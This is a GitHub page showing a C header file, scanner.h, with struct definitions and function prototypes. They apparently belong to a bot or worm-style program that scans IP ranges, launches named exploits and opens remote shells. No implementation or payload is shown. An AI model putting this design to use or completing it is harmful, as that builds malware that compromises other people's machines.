forked from Fuwn/net
-
Notifications
You must be signed in to change notification settings - Fork 0
/
scanner.h
44 lines (35 loc) · 791 Bytes
/
scanner.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
struct scans
/* struct for various scan functions */
{
int tnum;
int delay;
unsigned short port;
unsigned short port2;
unsigned short port3;
char exploit[64];
char mask[16];
bool info;
bool gotinfo;
bool lgotinfo;
SOCKET sock;
};
struct exploits
/* struct for use with exploits */
{
unsigned short port;
unsigned long ip;
bool gotinfo;
};
struct rshells
/* struct for rshell_start() function */
{
int tnum;
bool gotinfo;
};
unsigned long scan_getnextip(const char *scanmask);
bool scan_checkservers();
bool shell_connect(unsigned long ip, unsigned short port);
void scan_portopen(unsigned long ip, unsigned short port);
unsigned int __stdcall scan_start(void *param);
unsigned int __stdcall scan_listen(void *param);
unsigned int __stdcall rshell_start(void *param);